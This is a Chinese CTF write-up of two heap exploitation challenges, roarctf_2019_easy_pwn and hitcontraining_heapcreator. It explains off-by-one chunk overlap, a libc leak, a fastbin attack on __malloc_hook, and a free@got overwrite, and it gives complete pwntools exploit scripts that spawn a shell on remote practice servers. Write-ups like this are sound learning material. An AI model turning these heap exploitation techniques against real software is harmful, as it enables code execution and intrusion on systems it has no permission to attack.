[TOC]
roarctf_2019_easy_pwn
代码审计
__int64 __fastcall sub_E26(int a1, unsigned int a2) { __int64 result;
if ( a1 > a2 ) return a2; if ( a2 - a1 == 10 ) LODWORD(result) = a1 + 1; else LODWORD(result) = a1; return result; }
|
可以分析出,如果edit_size-add_size = 10
,那么我们便可以写入,add_size+1
字节的数据,造成_off-by-one_漏洞。
利用思路
泄漏_libc_
修改_chunk1_size_
先创建4
个_chunk_
add(0x18) add(0x10) add(0x90) add(0x10)
|
如图:
往_chunk0_中写数据,通过_off-by-one_篡改_chunk1_的_size_字段为0xa1
,使得_chunk_hook1_与_chunk_hook2_指向的空间,部分重叠。
payload = b'a'*0x18+b'\xa1' edit(0,0x18+10,payload)
|
如图:

写入_fake_chunk2_size_
现在,还需要解决一个问题:
_chunk1_的_size_被修改后,_real_chunk2_的部分空间与_chunk1_共享,所以现在会出现一个_fake_chunk2_以0x559e6a0a70c0
这个地址作为首地址。又因为0x559e6a0a70c8
处为0
,故现在_fake_chunk2_的_size_为0
,也因此,_chunk3_即使是正常的,也无法被划分空间。
我们现在需要在0x559e6a0a70c8
处写上_fake_chunk2_的_size_,怎么写呢?不要忘了,_real_chunk2_并未改变,_chunk_hook2_也仍然是原来的_chunk_hook2_!edit(2,size,content)
,就可以很正常的往0x559e6a0a70c8
里写数据。
payload = p64(0)*0xe+p64(0xa1)+p64(0x21)
edit(2,0x80,payload)
|
如图:
修改_chunk1_hook_size_
现在,还需要再解决一个问题:
本题中,能打印出多少字符,是由_chunk_hook_前面一个地址里的内容决定的。而现在,_chunk_hook1_前面的地址里,仍然是0x0000001000000001
,也就是说当show(1)
,我们依然只能打印出0x10
个字符。怎么解决呢?
不要忘了,实际上的_chunk1_的_size_已经是0xa0
了!所以我们free
一次_chunk1_,再malloc
一次0x90
的内存,_chunk_hook_区域的_size_自然会变成0x90
。
delete(1) add(0x90) payload = p64(0)*3+p64(0xa1)
edit(1,0x20,payload)
|
如图:

被刷新为0
的_real_chunk2_size_:
重新写入的_real_chunk2_size_:
现在,我们终于可以,利用_chunk_hook1_与_chunk_hook2_这两个指针泄漏_libc_地址了。
one_gadget_获取_shell
新设_real_chunk2_size_
再次申请_real_chunk2_,此时_real_chunk2_的所有数据都已被清除。需重新设置_real_chunk2_的_size_为0x71
(如此才能落入_fast bin_中),_fake_chunk2_的_size_为0x21
,继续对其利用。
add(0x90) payload = p64(0)*3+p64(0x71)+p64(0)*13+p64(0x21)
edit(1,0x90,paylaod)
|
修改_fast bin_中的_fd,bk_
释放_real_chunk2_到_fast bin_中,然后通过往_chunk1_里写数据,修改_real_chunk2_的_fd_和_bk_,为我们在_malloc_hook_附近构造的_chunk_。
delete(2) fake_chunk = malloc_hook-0x23 payload = p64(0)*3+p64(0x71)+p64(fake_chunk)*2 edit(1,0x30,payload)
|
劫持两个_hook_
从_fast bin_中回收_real_chunk2_,及构造的_fake_chunk_。然后覆盖__realloc_hook
的值为one_gadget
,__malloc_hook
的值为realloc+4
。
add(0x60) add(0x60) payload = b'A'*11+p64(one_gadget)+p64(realloc+4)
edit(4,11+0x10,payload) add(0x60)
|
exp
from tools import *
libc = ELF('libc-2.23.so') p = remote('node5.buuoj.cn',28833) debug(p,'pie',0x1253,0x126B,0x1277)
def add(size): p.sendlineafter("choice: ",str(1)) p.sendlineafter("size: ",str(size)) def edit(index,size,content): p.sendlineafter("choice: ",str(2)) p.sendlineafter("index: ",str(index)) p.sendlineafter("size: ",str(size)) p.sendlineafter("content: ",content) def delete(index): p.sendlineafter("choice: ",str(3)) p.sendlineafter("index: ",str(index)) def show(index): p.sendlineafter("choice: ",str(4)) p.sendlineafter("index: ",str(index)) add(0x18) add(0x10) add(0x90) add(0x10) payload = b'a'*0x18+b'\xa1' edit(0,0x18+10,payload) payload = p64(0)*0xe+p64(0xa1)+p64(0x21) edit(2,0x80,payload) delete(1) add(0x90) payload = p64(0)*3+p64(0xa1) edit(1,0x20,payload) delete(2) show(1) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3c4b78 log_addr("libc_base")
add(0x90) payload = p64(0)*3+p64(0x71)+p64(0)*13+p64(0x21) edit(1,0x90,payload) delete(2) malloc_hook = libc_base+libc.sym['__malloc_hook'] log_addr("malloc_hook") fake_chunk = malloc_hook-0x23 payload = p64(0)*3+p64(0x71)+p64(fake_chunk)*2 edit(1,0x30,payload) add(0x60) add(0x60) one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147] one_gadget = libc_base+one_gadget[3] realloc = libc_base+libc.sym['realloc'] payload = b'A'*11+p64(one_gadget)+p64(realloc+4) edit(4,11+0x10,payload) add(0x60)
p.interactive()
|
hitcontraining_heapcreator
_off-by-one_利用思路
==利用_off-by-one_,来改写下一个_chunk_的指针_chunk_的_size_,进而实现下一个_chunk_的指针_chunk_与内容_chunk_的部分重叠和互换。==
代码审计
一共有_create_heap_,_edit_heap_,_show_heap_,_delete_heap_四个函数,_edit_heap_函数中有一个堆溢出漏洞,只可以溢出1
个字节。
本题中,每_malloc_一次会创建一个指针_chunk_和一个内容_chunk_(其实就是两个地址空间,分别存储着指向_chunk_中数据的指针,和_chunk_的数据),而_free_一次也就是把这两个地址空间都释放掉了。_show_heap_和_edit_heap_函数中打印和修改的内容都是由指针决定的,指针指向什么就打印和修改什么。
思路
改写_size_
free_got = elf.sym['free'] add(0x18,b'a'*8) add(0x10,b'b'*8) payload = b'/bin/sh\x00'+b'c'*0x10+b'\x41'
edit(0,payload)
|
先创建两个_chunk_,0x18
是为了在往_chunk0_中写内容时,直接覆盖掉_chunk1_的指针_chunk_的前8
个字节,然后就可以利用溢出的一个字节改写_chunk1_的指针_chunk_的_size_。
如图,指针_chunk_的_size_值已经被改写成0x41

此时,_chunk1_的指针_chunk_与内容_chunk_,已经部分重叠(因为是指针_chunk_的_size_被改写成0x41
,内容_chunk_的_size_还是0x21
,所以如图
泄漏_free_addr_
delete(1) payload = p64(0)*4+p64(0x30)+p64(free_got)
add(0x30,payload) show(1) p.recvuntil("Content : ") free_addr = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')) log_addr("free_addr")
|
delete(1)
后我们可以看到_fastbins_有两个不同大小的_fastbin_chunk_,如图

然后我们再申请0x30
的_chunk_用来存储数据(还有0x10
的空间存储_prve_size_和_size_),又因为_fastbins_中正好有0x40
的_fastbins_chunk_,所以0x12c2040
及下面0x40
的内存空间就成了新_chunk_的内存_chunk_,0x12c2060
及下面0x20
的内存空间就成了新_chunk_的指针内存。
然后我们把_free@got_写到内存_chunk_的0x12c2078
地址里,这个地址存储着指针_chunk_里的指针,所以现在指针就是_free@got_,而_show_函数打印出来的数据是该指针指向的内容,也就是_free@got_指向的内容。

覆盖_free@got_表
libc_base = free_addr-libc.sym['free'] log_addr("libc_base") system_addr = libc_base+libc.sym['system'] edit(1,p64(system_addr)) delete(0)
|
同样,_edit_函数修改_chunk_内容,也是修改指针_chunk_的指针指向的区域。得到_system_的地址后,直接用_edit_函数修改_chunk1_的内容即可。

最后直接_free_掉_chunk0_,便能执行system("/bin/sh")
,得到_shell_。
exp
from tools import *
p = remote("node5.buuoj.cn",28974) debug(p,0x400DC4,0x400DB8,0x400DD0,0x400DDC) elf = ELF('./a') libc = ELF('./libc-2.23.so')
def add(size,content): p.sendlineafter("Your choice :",str(1)) p.sendlineafter("Size of Heap : ",str(size)) p.sendlineafter("Content of heap:",content) def edit(index,content): p.sendlineafter("Your choice :",str(2)) p.sendlineafter("Index :",str(index)) p.sendlineafter("Content of heap : ",content) def show(index): p.sendlineafter("Your choice :",str(3)) p.sendlineafter("Index :",str(index)) def delete(index): p.sendlineafter("Your choice :",str(4)) p.sendlineafter("Index :",str(index))
free_got = elf.got['free'] add(0x18,b'a'*8) add(0x10,b'b'*8) payload = b'/bin/sh\x00'+b'c'*0x10+b'\x41' edit(0,payload)
delete(1) payload = p64(0)*4+p64(0x30)+p64(free_got) add(0x30,payload) show(1) p.recvuntil("Content : ") free_addr = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')) log_addr("free_addr")
libc_base = free_addr-libc.sym['free'] log_addr("libc_base") system_addr = libc_base+libc.sym['system'] edit(1,p64(system_addr)) delete(0)
p.interactive()
|
拿到_flag_
